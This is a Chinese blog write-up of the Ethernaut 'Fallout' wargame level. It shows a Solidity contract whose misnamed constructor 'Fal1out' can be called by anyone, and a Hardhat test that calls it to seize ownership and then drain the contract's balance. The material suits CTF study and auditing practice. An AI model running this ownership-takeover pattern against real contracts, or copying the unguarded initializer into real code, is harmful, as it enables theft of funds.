用Hardhat闯关Ethernaut题2-fallout
pragma solidity ^0.6.0;
import "@openzeppelin/contracts/math/SafeMath.sol";
contract Fallout {
using SafeMath for uint256;
mapping(address => uint256) allocations;
address payable public owner;
/* constructor */
function Fal1out() public payable {
owner = msg.sender;
allocations[owner] = msg.value;
}
modifier onlyOwner() {
require(msg.sender == owner, "caller is not the owner");
_;
}
function allocate() public payable {
allocations[msg.sender] = allocations[msg.sender].add(msg.value);
}
function sendAllocation(address payable allocator) public {
require(allocations[allocator] > 0);
allocator.transfer(allocations[allocator]);
}
function collectAllocations() public onlyOwner {
msg.sender.transfer(address(this).balance);
}
function allocatorBalance(address allocator) public view returns (uint256) {
return allocations[allocator];
}
}
这道题其实非常简单,是一种粗心大意留下来的bug,在Solidity 0.4.22版本之前函数名与合约名如果一样的话,那表示这个函数是构造函数,在合约里面只能在部署的时候自动调用一次,后续无法直接调用。本题的合约函数Fal1out
其实中间是数字1
,不是字母l
,跟合约不是相同的名字,所以可以随便调用:
const { expect } = require("chai");
const { ethers } = require("hardhat");
const { MaxUint256 } = require("@ethersproject/constants");
const { BigNumber } = require("ethers");
describe("RebaseDividendToken Token Test", function () {
var Fallout;
it("init params", async function () {
[deployer, ...users] = await ethers.getSigners();
});
it("fallback deploy", async function () {
const FallOutInstance = await ethers.getContractFactory("Fallout");
Fallout = await FallOutInstance.deploy();
});
it("hack test", async function () {
expect(await Fallout.owner()).to.not.equal(deployer.address);
await Fallout.Fal1out();
expect(await Fallout.owner()).to.equal(deployer.address);
await Fallout.collectAllocations();
});
});
Github:hardhat测试仓库
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!